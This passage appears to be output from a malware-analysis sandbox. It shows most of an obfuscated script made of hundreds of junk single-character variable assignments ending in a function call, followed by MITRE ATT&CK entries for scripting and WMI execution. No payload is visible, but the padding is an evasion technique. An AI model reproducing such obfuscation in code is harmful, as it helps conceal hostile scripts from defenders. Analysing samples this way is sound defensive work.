235	drdlcm = "q";
236	drdlcm = "h";
237	drdlcm = "f";
238	drdlcm = "l";
239	drdlcm = "O";
240	drdlcm = "o";
241	drdlcm = "Y";
242	drdlcm = "M";
243	drdlcm = "n";
244	drdlcm = "E";
245	ilxupdhe = "H";
246	ilxupdhe = "V";
247	ilxupdhe = "u";
248	ilxupdhe = "s";
249	ilxupdhe = "K";
250	ilxupdhe = "d";
251	ilxupdhe = "C";
252	ilxupdhe = "p";
253	ilxupdhe = "F";
254	ilxupdhe = "m";
255	ilxupdhe = "R";
256	ilxupdhe = "w";
257	ilxupdhe = "A";
258	ilxupdhe = "k";
259	ilxupdhe = "z";
260	ilxupdhe = "J";
261	ilxupdhe = "U";
262	ilxupdhe = "c";
263	ilxupdhe = "D";
264	ilxupdhe = "A";
265	ilxupdhe = "V";
266	ilxupdhe = "U";
267	ilxupdhe = "F";
268	ilxupdhe = "o";
269	ilxupdhe = "C";
270	ilxupdhe = "K";
271	ilxupdhe = "P";
272	ilxupdhe = "E";
273	ilxupdhe = "S";
274	ilxupdhe = "y";
275	ilxupdhe = "X";
276	ilxupdhe = "F";
277	ilxupdhe = "u";
278	ilxupdhe = "e";
279	ilxupdhe = "c";
280	ilxupdhe = "_";
281	refmrc = "r";
282	refmrc = "m";
283	refmrc = "a";
284	refmrc = "m";
285	refmrc = "G";
286	refmrc = "r";
287	refmrc = "r";
288	refmrc = "n";
289	refmrc = "r";
290	refmrc = "E";
291	refmrc = "e";
292	refmrc = "e";
293	refmrc = "i";
294	refmrc = "g";
295	refmrc = "b";
296	refmrc = "J";
297	refmrc = "j";
298	refmrc = "u";
299	refmrc = "l";
300	refmrc = "v";
301	refmrc = "s";
302	refmrc = "x";
303	refmrc = "e";
304	refmrc = "c";
305	refmrc = "d";
306	refmrc = "L";
307	refmrc = "c";
308	refmrc = "j";
309	refmrc = "V";
310	refmrc = "j";
311	refmrc = "q";
312	refmrc = "o";
313	refmrc = "p";
314	refmrc = "P";
315	refmrc = "r";
316	uvucxf = "e";
317	uvucxf = "q";
318	uvucxf = "i";
319	uvucxf = "T";
320	uvucxf = "n";
321	clrijy = "r";
322	clrijy = "p";
323	clrijy = "N";
324	clrijy = "/";
325	beybaey = "s";
326	beybaey = "q";
327	beybaey = "T";
328	beybaey = "a";
329	beybaey = "Q";
330	beybaey = "i";
331	beybaey = "U";
332	beybaey = "e";
333	beybaey = "g";
334	beybaey = "C";
335	beybaey = "T";
336	beybaey = "t";
337	beybaey = "c";
338	beybaey = "C";
339	beybaey = "N";
340	beybaey = "C";
341	beybaey = "V";
342	beybaey = "s";
343	beybaey = "r";
344	beybaey = "S";
345	beybaey = "D";
346	beybaey = "h";
347	beybaey = "k";
348	beybaey = "E";
349	beybaey = "K";
350	beybaey = "n";
351	beybaey = "n";
352	beybaey = "V";
353	beybaey = "M";
354	beybaey = "s";
355	neelwxjn = "A";
356	neelwxjn = "I";
357	neelwxjn = "Q";
358	neelwxjn = "J";
359	neelwxjn = "b";
360	neelwxjn = "U";
361	neelwxjn = "K";
362	neelwxjn = "W";
363	neelwxjn = "X";
364	neelwxjn = "n";
365	neelwxjn = "u";
366	neelwxjn = "W";
367	neelwxjn = "n";
368	neelwxjn = "C";
369	neelwxjn = "N";
370	neelwxjn = "M";
371	neelwxjn = "R";
372	neelwxjn = "x";
373	neelwxjn = "G";
374	neelwxjn = "p";
375	neelwxjn = "w";
376	jpctgykqo = "g";
377	jpctgykqo = "s";
378	jpctgykqo = "h";
379	jpctgykqo = "L";
380	jpctgykqo = "W";
381	jpctgykqo = "x";
382	jpctgykqo = "A";
383	jpctgykqo = "V";
384	jpctgykqo = "F";
385	unqpou = "I";
386	unqpou = "L";
387	unqpou = "a";
388	unqpou = "R";
389	unqpou = "d";
390	unqpou = "i";
391	unqpou = "z";
392	unqpou = "e";
393	unqpou = "M";
394	unqpou = "Q";
395	unqpou = "C";
396	unqpou = "o";
397	unqpou = "c";
398	unqpou = "M";
399	unqpou = "s";
400	unqpou = "E";
401	unqpou = "e";
402	unqpou = "a";
403	unqpou = "z";
404	unqpou = "x";
405	unqpou = "Q";
406	unqpou = "q";
407	jjxmuu = "Z";
408	jjxmuu = "p";
409	jjxmuu = "Y";
410	jjxmuu = "W";
411	jjxmuu = "V";
412	jjxmuu = "W";
413	jjxmuu = "q";
414	jjxmuu = "A";
415	jjxmuu = "S";
416	jjxmuu = "z";
417	jjxmuu = "U";
418	jjxmuu = "A";
419	jjxmuu = "E";
420	jjxmuu = "E";
421	jjxmuu = "u";
422	jjxmuu = "T";
423	jjxmuu = "s";
424	jjxmuu = "f";
425	jjxmuu = "z";
426	jjxmuu = "h";
427	jjxmuu = "q";
428	jjxmuu = "q";
429	jjxmuu = "w";
430	jjxmuu = "Q";
431	jjxmuu = "j";
432	jjxmuu = "W";
433	jjxmuu = "f";
434	jjxmuu = "K";
435	jjxmuu = "r";
436	jjxmuu = "Y";
437	jjxmuu = "b";
438	jjxmuu = "f";
439	jjxmuu = "n";
440	jjxmuu = "Y";
441	kjtfikr = "D";
442	kjtfikr = "k";
443	kjtfikr = "I";
444	kjtfikr = "l";
445	kjtfikr = "k";
446	kjtfikr = "m";
447	kjtfikr = "a";
448	kjtfikr = "i";
449	kjtfikr = "n";
450	kjtfikr = "m";
451	kjtfikr = "L";
452	kjtfikr = "l";
453	kjtfikr = "w";
454	kjtfikr = "Z";
455	kjtfikr = "k";
456	kjtfikr = "J";
457	kjtfikr = "w";
458	kjtfikr = "G";
459	kjtfikr = "k";
460	kjtfikr = "u";
461	kjtfikr = "Y";
462	kjtfikr = "Z";
463	kjtfikr = "z";
464	kjtfikr = "m";
465	kjtfikr = "f";
466	kjtfikr = "p";
467	kjtfikr = "k";
468	kjtfikr = "c";
469	kjtfikr = "v";
470	kjtfikr = "H";
471	kjtfikr = "u";
472	kjtfikr = "q";
473	kjtfikr = "Z";
474	kjtfikr = "N";
475	kjtfikr = "x";
476	kjtfikr = "P";
477	kjtfikr = "I";
478	kjtfikr = "i";
479	kjtfikr = "r";
480	kjtfikr = "D";
481	kjtfikr = "V";
482	kjtfikr = "f";
483	mansijs = "U";
484	zhgqgvvmr = "d";
485	zhgqgvvmr = "D";
486	zhgqgvvmr = "b";
487	zhgqgvvmr = "9";
488	ioqyykbxc = "u";
489	ioqyykbxc = "A";
490	ioqyykbxc = "l";
491	ioqyykbxc = "p";
492	ioqyykbxc = "O";
493	ioqyykbxc = "E";
494	ioqyykbxc = "g";
495	ioqyykbxc = "V";
496	ioqyykbxc = "N";
497	ioqyykbxc = "j";
498	ioqyykbxc = "O";
499	ioqyykbxc = "B";
500	ioqyykbxc = "t";
501	ioqyykbxc = "U";
502	ioqyykbxc = "Q";
503	ioqyykbxc = "m";
504	ioqyykbxc = "R";
505	ioqyykbxc = "n";
506	ioqyykbxc = "L";
507	ioqyykbxc = "l";
508	ioqyykbxc = "s";
509	ioqyykbxc = "V";
510	ioqyykbxc = "G";
511	ioqyykbxc = "n";
512	ioqyykbxc = "b";
513	ioqyykbxc = "v";
514	ioqyykbxc = "C";
515	kuytpap = "O";
516	kuytpap = "z";
517	kuytpap = "N";
518	kuytpap = "S";
519	kuytpap = "G";
520	kuytpap = "f";
521	kuytpap = "A";
522	kuytpap = "X";
523	kuytpap = "W";
524	kuytpap = "K";
525	kuytpap = "Y";
526	kuytpap = "u";
527	kuytpap = "p";
528	kuytpap = "s";
529	kuytpap = "F";
530	kuytpap = "D";
531	kuytpap = "B";
532	kuytpap = "S";
533	kdqlhd = "I";
534	kdqlhd = "Q";
535	kdqlhd = "A";
536	kdqlhd = "u";
537	kdqlhd = "b";
538	kdqlhd = "L";
539	kdqlhd = "b";
540	kdqlhd = "O";
541	kdqlhd = "Y";
542	kdqlhd = "s";
543	kdqlhd = "o";
544	kdqlhd = "P";
545	kdqlhd = "b";
546	kdqlhd = "x";
547	kdqlhd = "J";
548	kdqlhd = "S";
549	kdqlhd = "d";
550	kdqlhd = "a";
551	kdqlhd = "S";
552	kdqlhd = "P";
553	kdqlhd = "X";
554	kdqlhd = "c";
555	kdqlhd = "a";
556	kdqlhd = "s";
557	kdqlhd = "Q";
558	kdqlhd = "l";
559	kdqlhd = "c";
560	kdqlhd = "b";
561	kdqlhd = "h";
562	kdqlhd = "A";
563	kdqlhd = "k";
564	kdqlhd = "j";
565	kdqlhd = "v";
566	dduqkfsz = "O";
567	dduqkfsz = "l";
568	dduqkfsz = "t";
569	dduqkfsz = "j";
570	dduqkfsz = "W";
571	dduqkfsz = "V";
572	dduqkfsz = "Y";
573	dduqkfsz = "V";
574	dduqkfsz = "o";
575	dduqkfsz = "V";
576	dduqkfsz = "V";
577	dduqkfsz = "A";
578	dduqkfsz = "T";
579	dduqkfsz = "Z";
580	dduqkfsz = "i";
581	dduqkfsz = "u";
582	dduqkfsz = "V";
583	dduqkfsz = "u";
584	dduqkfsz = "k";
585	dduqkfsz = "m";
586	dduqkfsz = "F";
587	dduqkfsz = "B";
588	dduqkfsz = "o";
589	dduqkfsz = "e";
590	dduqkfsz = "d";
591	hptcelpn = "m";
592	hptcelpn = "i";
593	hptcelpn = "v";
594	hptcelpn = "P";
595	hptcelpn = "z";
596	hptcelpn = "L";
597	hptcelpn = "t";
598	hptcelpn = "0";
599	vdgpsh = "o";
600	vdgpsh = "l";
601	vdgpsh = "n";
602	vdgpsh = "u";
603	vdgpsh = "Y";
604	vdgpsh = "w";
605	vdgpsh = "P";
606	vdgpsh = "O";
607	vdgpsh = "P";
608	vdgpsh = "g";
609	vdgpsh = "o";
610	vdgpsh = "x";
611	vdgpsh = "u";
612	vdgpsh = "N";
613	vdgpsh = "q";
614	vdgpsh = "E";
615	vdgpsh = "b";
616	vdgpsh = "O";
617	vdgpsh = "8";
618	sldnxljsc = "U";
619	sldnxljsc = "q";
620	sldnxljsc = "q";
621	sldnxljsc = "f";
622	sldnxljsc = "q";
623	sldnxljsc = "R";
624	sldnxljsc = "G";
625	sldnxljsc = "H";
626	sldnxljsc = "j";
627	sldnxljsc = "Z";
628	sldnxljsc = "l";
629	sldnxljsc = "b";
630	sldnxljsc = "V";
631	sldnxljsc = "e";
632	sldnxljsc = "L";
633	sldnxljsc = "t";
634	sldnxljsc = "K";
635	sldnxljsc = "N";
636	sldnxljsc = "T";
637	sldnxljsc = "I";
638	sldnxljsc = "c";
639	sldnxljsc = "N";
640	sldnxljsc = "l";
641	sldnxljsc = "i";
642	sldnxljsc = "V";
643	sldnxljsc = "y";
644	sldnxljsc = "v";
645	sldnxljsc = "j";
646	sldnxljsc = "d";
647	sldnxljsc = "p";
648	sldnxljsc = "k";
649	sldnxljsc = "A";
650	sldnxljsc = "Y";
651	sldnxljsc = "h";
652	sldnxljsc = "i";
653	sldnxljsc = "R";
654	sldnxljsc = "t";
655	sldnxljsc = "s";
656	sldnxljsc = "O";
657	sldnxljsc = "w";
658	sldnxljsc = "e";
659	sldnxljsc = "j";
660	sldnxljsc = "\\";
661	lkrcxsoaf = "E";
662	lkrcxsoaf = "r";
663	lkrcxsoaf = "k";
664	lkrcxsoaf = "v";
665	lkrcxsoaf = "o";
666	lkrcxsoaf = "y";
667	lkrcxsoaf = "M";
668	lkrcxsoaf = "r";
669	lkrcxsoaf = "O";
670	lkrcxsoaf = "L";
671	lkrcxsoaf = "K";
672	lkrcxsoaf = "v";
673	lkrcxsoaf = "B";
674	lkrcxsoaf = "G";
675	lkrcxsoaf = "j";
676	lkrcxsoaf = "U";
677	lkrcxsoaf = "r";
678	lkrcxsoaf = "J";
679	lkrcxsoaf = "X";
680	lkrcxsoaf = "M";
681	lkrcxsoaf = "j";
682	lkrcxsoaf = "V";
683	lkrcxsoaf = "b";
684	lkrcxsoaf = "w";
685	lkrcxsoaf = "k";
686	lkrcxsoaf = "F";
687	lkrcxsoaf = "z";
688	lkrcxsoaf = "R";
689	lkrcxsoaf = "L";
690	lkrcxsoaf = "I";
691	lkrcxsoaf = "F";
692	lkrcxsoaf = "K";
693	lkrcxsoaf = "h";
694	ecpaewov = "B";
695	ecpaewov = "Z";
696	ecpaewov = "M";
697	ecpaewov = "E";
698	ecpaewov = "O";
699	ecpaewov = "K";
700	ecpaewov = "z";
701	ecpaewov = "b";
702	ecpaewov = "d";
703	ecpaewov = "v";
704	ecpaewov = "P";
705	ecpaewov = "e";
706	ecpaewov = "Y";
707	ecpaewov = "v";
708	ecpaewov = "x";
709	ecpaewov = "e";
710	ecpaewov = "J";
711	ecpaewov = "s";
712	ecpaewov = "T";
713	ecpaewov = "v";
714	ecpaewov = "i";
715	ecpaewov = "J";
716	ecpaewov = "y";
717	ecpaewov = "y";
718	ecpaewov = "5";
719	jnnqwuop = "X";
720	jnnqwuop = "F";
721	jnnqwuop = "c";
722	jnnqwuop = "w";
723	jnnqwuop = "N";
724	jnnqwuop = "o";
725	jnnqwuop = "c";
726	rcpvwccs = "i";
727	qklqog = "J";
728	qklqog = "Y";
729	qklqog = "I";
730	qklqog = "p";
731	qklqog = "P";
732	qklqog = "v";
733	qklqog = "s";
734	qklqog = "R";
735	qklqog = "k";
736	qklqog = "f";
737	qklqog = "j";
738	qklqog = "g";
739	qklqog = "O";
740	qklqog = "i";
741	qklqog = "h";
742	qklqog = "M";
743	qklqog = "p";
744	qklqog = "d";
745	qklqog = "r";
746	qklqog = "s";
747	qklqog = "K";
748	qklqog = "Y";
749	qklqog = "O";
750	qklqog = "Q";
751	khxotpb = "b";
752	khxotpb = "J";
753	khxotpb = "K";
754	khxotpb = "E";
755	khxotpb = "j";
756	khxotpb = "v";
757	khxotpb = "p";
758	khxotpb = "U";
759	khxotpb = "d";
760	khxotpb = "n";
761	khxotpb = "s";
762	khxotpb = "i";
763	khxotpb = "Y";
764	khxotpb = "Q";
765	khxotpb = "x";
766	gvffs = "Y";
767	gvffs = "r";
768	gvffs = "B";
769	gvffs = "V";
770	gvffs = "a";
771	gvffs = "a";
772	gvffs = "t";
773	gvffs = "O";
774	gvffs = "R";
775	gvffs = "z";
776	gvffs = "x";
777	gvffs = "e";
778	gvffs = "y";
779	gvffs = "u";
780	gvffs = "B";
781	gvffs = "P";
782	gvffs = "v";
783	gvffs = "S";
784	gvffs = "l";
785	gvffs = "v";
786	gvffs = "D";
787	gvffs = "j";
788	pxhgodc = "n";
789	pxhgodc = "u";
790	pxhgodc = "l";
791	jyrxxsgpe = "o";
792	jyrxxsgpe = "s";
793	jyrxxsgpe = "t";
794	jyrxxsgpe = "x";
795	jyrxxsgpe = "x";
796	jyrxxsgpe = "l";
797	jyrxxsgpe = "T";
798	jyrxxsgpe = "x";
799	jyrxxsgpe = "n";
800	jyrxxsgpe = "f";
801	jyrxxsgpe = "p";
802	jyrxxsgpe = "r";
803	jyrxxsgpe = "c";
804	jyrxxsgpe = "V";
805	jyrxxsgpe = "T";
806	jyrxxsgpe = "z";
807	jyrxxsgpe = "y";
808	jyrxxsgpe = "j";
809	jyrxxsgpe = "G";
810	jyrxxsgpe = "j";
811	jyrxxsgpe = "j";
812	jyrxxsgpe = "H";
813	jyrxxsgpe = "v";
814	jyrxxsgpe = "d";
815	jyrxxsgpe = "A";
816	jyrxxsgpe = "l";
817	jyrxxsgpe = "S";
818	jyrxxsgpe = "j";
819	jyrxxsgpe = "F";
820	jyrxxsgpe = "t";
821	jyrxxsgpe = "s";
822	jyrxxsgpe = "p";
823	jyrxxsgpe = "i";
824	jyrxxsgpe = "g";
825	jyrxxsgpe = "f";
826	jyrxxsgpe = "H";
827	jyrxxsgpe = "p";
828	jyrxxsgpe = "p";
829	jyrxxsgpe = "Y";
830	jyrxxsgpe = "A";
831	jyrxxsgpe = "P";
832	jyrxxsgpe = "y";
833	jyrxxsgpe = "b";
834	hdusbkhaw = "C";
835	hdusbkhaw = "a";
836	hdusbkhaw = "g";
837	hdusbkhaw = "R";
838	hdusbkhaw = "N";
839	hdusbkhaw = "T";
840	hdusbkhaw = "l";
841	hdusbkhaw = "b";
842	hdusbkhaw = "R";
843	hdusbkhaw = "g";
844	hdusbkhaw = "h";
845	hdusbkhaw = "S";
846	hdusbkhaw = "Z";
847	hdusbkhaw = "v";
848	hdusbkhaw = "j";
849	hdusbkhaw = "n";
850	hdusbkhaw = "L";
851	hdusbkhaw = "s";
852	hdusbkhaw = "I";
853	hdusbkhaw = "S";
854	hdusbkhaw = "f";
855	hdusbkhaw = "B";
856	hdusbkhaw = "I";
857	hdusbkhaw = "J";
858	hdusbkhaw = "t";
859	hdusbkhaw = "b";
860	hdusbkhaw = "K";
861	hdusbkhaw = "u";
862	hdusbkhaw = "N";
863	hdusbkhaw = "J";
864	hdusbkhaw = "k";
865	hdusbkhaw = "g";
866	hdusbkhaw = "D";
867	hdusbkhaw = "v";
868	hdusbkhaw = "v";
869	hdusbkhaw = "r";
870	hdusbkhaw = "A";
871	hdusbkhaw = "m";
872	ukvbesq = "c";
873	ukvbesq = "X";
874	ukvbesq = "a";
875	ukvbesq = "v";
876	ukvbesq = "Q";
877	ukvbesq = "K";
878	ukvbesq = "X";
879	ukvbesq = "Z";
880	ukvbesq = "m";
881	ukvbesq = "x";
882	ukvbesq = "r";
883	ukvbesq = "B";
884	ukvbesq = "U";
885	ukvbesq = "u";
886	ukvbesq = "d";
887	ukvbesq = "n";
888	ukvbesq = "W";
889	ukvbesq = "Q";
890	ukvbesq = "V";
891	ukvbesq = "j";
892	ukvbesq = "F";
893	ukvbesq = "x";
894	ukvbesq = "Q";
895	ukvbesq = "A";
896	ukvbesq = "G";
897	ukvbesq = "K";
898	ukvbesq = "H";
899	ukvbesq = "g";
900	ukvbesq = "l";
901	ukvbesq = "a";
902	ukvbesq = "Z";
903	ukvbesq = "J";
904	ukvbesq = "b";
905	ukvbesq = "u";
906	ukvbesq = "d";
907	ukvbesq = "k";
908	ukvbesq = "i";
909	ukvbesq = "l";
910	ukvbesq = "%";
911	hxcstynw = "j";
912	hxcstynw = "o";
913	hxcstynw = "e";
914	hxcstynw = "X";
915	hxcstynw = "u";
916	hxcstynw = "U";
917	hxcstynw = "O";
918	hxcstynw = "Z";
919	hxcstynw = "F";
920	hxcstynw = "Q";
921	hxcstynw = "X";
922	hxcstynw = "S";
923	hxcstynw = "e";
924	hxcstynw = "V";
925	hxcstynw = "u";
926	hxcstynw = "z";
927	hxcstynw = "Y";
928	hxcstynw = "k";
929	hxcstynw = "o";
930	hxcstynw = "j";
931	hxcstynw = "Q";
932	hxcstynw = "I";
933	hxcstynw = "n";
934	hxcstynw = "l";
935	hxcstynw = "P";
936	gkdyzzvfz = "Z";
937	gkdyzzvfz = "z";
938	gkdyzzvfz = "L";
939	gkdyzzvfz = "v";
940	gkdyzzvfz = "g";
941	gkdyzzvfz = "Q";
942	gkdyzzvfz = "n";
943	gkdyzzvfz = "i";
944	gkdyzzvfz = "z";
945	gkdyzzvfz = "K";
946	gkdyzzvfz = "m";
947	gkdyzzvfz = "W";
948	gkdyzzvfz = "d";
949	gkdyzzvfz = "u";
950	gkdyzzvfz = "h";
951	gkdyzzvfz = "m";
952	gkdyzzvfz = "S";
953	gkdyzzvfz = "e";
954	gkdyzzvfz = "l";
955	gkdyzzvfz = "v";
956	gkdyzzvfz = "x";
957	gkdyzzvfz = "w";
958	gkdyzzvfz = "t";
959	rkvrxbr = "u";
960	rkvrxbr = "R";
961	mendenjp = "o";
962	mendenjp = "a";
963	mendenjp = "y";
964	mendenjp = "j";
965	mendenjp = "G";
966	mendenjp = "w";
967	mendenjp = "r";
968	mendenjp = "r";
969	mendenjp = "w";
970	mendenjp = "J";
971	mendenjp = "j";
972	mendenjp = "i";
973	mendenjp = "H";
974	mendenjp = "p";
975	mendenjp = "C";
976	mendenjp = "E";
977	mendenjp = "l";
978	mendenjp = "y";
979	mendenjp = "t";
980	mendenjp = "b";
981	mendenjp = "U";
982	mendenjp = "Q";
983	mendenjp = "h";
984	mendenjp = "E";
985	mendenjp = "V";
986	mendenjp = "b";
987	mendenjp = "f";
988	mendenjp = "l";
989	mendenjp = "B";
990	mendenjp = "Q";
991	mendenjp = "M";
992	mendenjp = "Q";
993	mendenjp = "k";
994	mendenjp = "q";
995	mendenjp = "p";
996	mendenjp = "O";
997	diroosx = "m";
998	diroosx = "G";
999	diroosx = "s";
1000	diroosx = "J";
1001	diroosx = "G";
1002	diroosx = "l";
1003	diroosx = "d";
1004	diroosx = "g";
1005	diroosx = "d";
1006	diroosx = "d";
1007	diroosx = "4";
1008	puccgohf = "y";
1009	puccgohf = "h";
1010	puccgohf = "U";
1011	puccgohf = "t";
1012	puccgohf = "Y";
1013	puccgohf = "T";
1014	yjpfmdhk = "S";
1015	yjpfmdhk = "J";
1016	yjpfmdhk = "x";
1017	yjpfmdhk = "d";
1018	yjpfmdhk = "t";
1019	yjpfmdhk = "S";
1020	yjpfmdhk = "m";
1021	yjpfmdhk = "L";
1022	yjpfmdhk = "K";
1023	yjpfmdhk = "n";
1024	yjpfmdhk = "f";
1025	yjpfmdhk = "W";
1026	yjpfmdhk = "f";
1027	yjpfmdhk = "w";
1028	yjpfmdhk = "V";
1029	yjpfmdhk = "M";
1030	yjpfmdhk = "L";
1031	yjpfmdhk = "c";
1032	yjpfmdhk = "K";
1033	yjpfmdhk = "X";
1034	yjpfmdhk = "g";
1035	yjpfmdhk = "O";
1036	yjpfmdhk = "l";
1037	yjpfmdhk = "S";
1038	yjpfmdhk = "g";
1039	yjpfmdhk = "b";
1040	yjpfmdhk = "d";
1041	yjpfmdhk = "J";
1042	yjpfmdhk = "Q";
1043	yjpfmdhk = "p";
1044	yjpfmdhk = "L";
1045	yjpfmdhk = "G";
1046	yjpfmdhk = "I";
1047	rxqof = "G";
1048	rxqof = "Q";
1049	rxqof = "h";
1050	rxqof = "S";
1051	rxqof = "A";
1052	rxqof = "a";
1053	rxqof = "r";
1054	rxqof = "G";
1055	rxqof = "l";
1056	rxqof = "D";
1057	rxqof = "H";
1058	rxqof = "U";
1059	rxqof = "X";
1060	rxqof = "B";
1061	rxqof = "N";
1062	rxqof = "O";
1063	rxqof = "M";
1064	rxqof = "V";
1065	rxqof = "3";
1066	mtywmiisp = "r";
1067	mtywmiisp = "1";
1068	dcavua = "P";
1069	dcavua = "G";
1070	dcavua = "Z";
1071	dcavua = "g";
1072	dcavua = "B";
1073	dcavua = "O";
1074	dcavua = "R";
1075	dcavua = "m";
1076	dcavua = "b";
1077	dcavua = "S";
1078	dcavua = "F";
1079	dcavua = "G";
1080	dcavua = "n";
1081	dcavua = "s";
1082	dcavua = "u";
1083	dcavua = "T";
1084	dcavua = "e";
1085	dcavua = "d";
1086	dcavua = "i";
1087	dcavua = "n";
1088	dcavua = "I";
1089	dcavua = "b";
1090	dcavua = "H";
1091	dcavua = "G";
1092	dcavua = "s";
1093	dcavua = "n";
1094	dcavua = "X";
1095	dcavua = "m";
1096	dcavua = "T";
1097	dcavua = "z";
1098	dcavua = "O";
1099	dcavua = "z";
1100	dcavua = "t";
1101	dcavua = "Q";
1102	dcavua = "X";
1103	dcavua = "Q";
1104	dcavua = "u";
1105	verpvnlw = "k";
1106	verpvnlw = "a";
1107	verpvnlw = "E";
1108	verpvnlw = "m";
1109	verpvnlw = "i";
1110	verpvnlw = "K";
1111	verpvnlw = "m";
1112	verpvnlw = "a";
1113	verpvnlw = " ";
1114	lijyywr = "N";
1115	lijyywr = "p";
1116	lijyywr = "X";
1117	lijyywr = "X";
1118	lijyywr = "p";
1119	lijyywr = "o";
1120	lijyywr = "y";
1121	lijyywr = "J";
1122	lijyywr = "L";
1123	lijyywr = "P";
1124	lijyywr = "a";
1125	aqhbcms = "m";
1126	aqhbcms = "q";
1127	aqhbcms = "Q";
1128	aqhbcms = "a";
1129	aqhbcms = "g";
1130	aqhbcms = "k";
1131	aqhbcms = "I";
1132	aqhbcms = "x";
1133	aqhbcms = "z";
1134	aqhbcms = "t";
1135	aqhbcms = "V";
1136	aqhbcms = "g";
1137	aqhbcms = "z";
1138	aqhbcms = "d";
1139	aqhbcms = "M";
1140	aqhbcms = "U";
1141	aqhbcms = "R";
1142	aqhbcms = "g";
1143	aqhbcms = "G";
1144	aqhbcms = "q";
1145	aqhbcms = "W";
1146	mqtxuln = "e";
1147	mqtxuln = "S";
1148	mqtxuln = "M";
1149	mqtxuln = "P";
1150	mqtxuln = "w";
1151	mqtxuln = "r";
1152	mqtxuln = "k";
1153	mqtxuln = "c";
1154	mqtxuln = "B";
1155	mqtxuln = "k";
1156	mqtxuln = "e";
1157	mqtxuln = "m";
1158	mqtxuln = "t";
1159	mqtxuln = "S";
1160	mqtxuln = "y";
1161	mqtxuln = "v";
1162	mqtxuln = "y";
1163	mqtxuln = "g";
1164	mqtxuln = "o";
1165	mqtxuln = "d";
1166	mqtxuln = "K";
1167	mqtxuln = "e";
1168	mqtxuln = "K";
1169	mqtxuln = "t";
1170	mqtxuln = "P";
1171	mqtxuln = "w";
1172	mqtxuln = "S";
1173	mqtxuln = "U";
1174	mqtxuln = "J";
1175	mqtxuln = "f";
1176	mqtxuln = "k";
1177	axwmkxnl = "K";
1178	kjzms = "C";
1179	kjzms = "c";
1180	kjzms = "f";
1181	kjzms = "D";
1182	kjzms = "D";
1183	kjzms = "x";
1184	kjzms = "A";
1185	kjzms = "R";
1186	kjzms = "J";
1187	kjzms = "u";
1188	kjzms = "R";
1189	kjzms = "y";
1190	kjzms = "I";
1191	kjzms = "I";
1192	kjzms = "k";
1193	kjzms = "g";
1194	kjzms = "X";
1195	kjzms = "C";
1196	kjzms = "L";
1197	kjzms = "D";
1198	kjzms = "C";
1199	kjzms = "I";
1200	kjzms = "V";
1201	kjzms = "Z";
1202	kjzms = "w";
1203	kjzms = "e";
1204	kjzms = "2";
1205	uvmbs = "e";
1206	uvmbs = "K";
1207	uvmbs = "p";
1208	imret = "J";
1209	imret = "g";
1210	imret = "J";
1211	imret = "V";
1212	imret = "q";
1213	imret = "S";
1214	imret = "o";
1215	imret = "s";
1216	imret = "z";
1217	imret = "y";
1218	imret = "r";
1219	imret = "v";
1220	imret = "r";
1221	imret = "w";
1222	imret = "x";
1223	imret = "d";
1224	imret = "i";
1225	imret = "P";
1226	imret = "a";
1227	imret = "g";
1228	imret = "g";
1229	imret = "P";
1230	imret = "I";
1231	imret = "d";
1232	imret = "w";
1233	imret = "@";
1234	gqmhvi = "s";
1235	gqmhvi = "V";
1236	gqmhvi = "d";
1237	gqmhvi = "i";
1238	gqmhvi = "u";
1239	gqmhvi = "A";
1240	gqmhvi = "v";
1241	gqmhvi = "t";
1242	gqmhvi = "e";
1243	gqmhvi = "V";
1244	gqmhvi = "T";
1245	gqmhvi = "d";
1246	gqmhvi = "a";
1247	gqmhvi = "v";
1248	gqmhvi = "l";
1249	gqmhvi = "I";
1250	gqmhvi = "A";
1251	gqmhvi = "g";
1252	gqmhvi = "g";
1253	gqmhvi = "Z";
1254	gqmhvi = "l";
1255	gqmhvi = "j";
1256	gqmhvi = "F";
1257	gqmhvi = "c";
1258	gqmhvi = "v";
1259	gqmhvi = "Y";
1260	gqmhvi = "n";
1261	gqmhvi = "G";
1262	gqmhvi = "u";
1263	gqmhvi = "s";
1264	gqmhvi = "o";
1265	gqmhvi = "Y";
1266	gqmhvi = "C";
1267	gqmhvi = "d";
1268	gqmhvi = "Y";
1269	gqmhvi = "H";
1270	gmlfe = "z";
1271	gmlfe = "R";
1272	gmlfe = "L";
1273	gmlfe = "W";
1274	gmlfe = "Y";
1275	gmlfe = "w";
1276	gmlfe = "Q";
1277	gmlfe = "S";
1278	gmlfe = "y";
1279	gmlfe = "B";
1280	gmlfe = "N";
1281	gmlfe = "e";
1282	gmlfe = "t";
1283	gmlfe = "U";
1284	gmlfe = "y";
1285	gmlfe = "W";
1286	gmlfe = "L";
1287	fcdti = "q";
1288	fcdti = "x";
1289	fcdti = "Q";
1290	fcdti = "v";
1291	fcdti = "s";
1292	fcdti = "g";
1293	fcdti = "r";
1294	fcdti = "G";
1295	fcdti = "E";
1296	fcdti = "q";
1297	fcdti = "e";
1298	fcdti = "X";
1299	fcdti = "E";
1300	fcdti = "\"";
1301	uzrkq = "t";
1302	uzrkq = "y";
1303	uzrkq = "F";
1304	uzrkq = "I";
1305	uzrkq = "a";
1306	uzrkq = "B";
1307	uzrkq = "I";
1308	uzrkq = "k";
1309	uzrkq = "p";
1310	uzrkq = "G";
1311	uzrkq = "Y";
1312	uzrkq = "F";
1313	uzrkq = "M";
1314	uzrkq = "g";
1315	uzrkq = "g";
1316	uzrkq = "v";
1317	uzrkq = "F";
1318	uzrkq = "I";
1319	uzrkq = "n";
1320	uzrkq = "h";
1321	uzrkq = "y";
1322	uzrkq = "J";
1323	uzrkq = "z";
1324	uzrkq = "A";
1325	uzrkq = "D";
1326	uzrkq = "O";
1327	uzrkq = "v";
1328	uzrkq = "D";
1329	uzrkq = "g";
1330	uzrkq = "y";
1331	uzrkq = "s";
1332	uzrkq = "y";
1333	uzrkq = "J";
1334	uzrkq = "N";
1335	uzrkq = ".";
1336	jbowxwgm ( );	jbowxwgm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

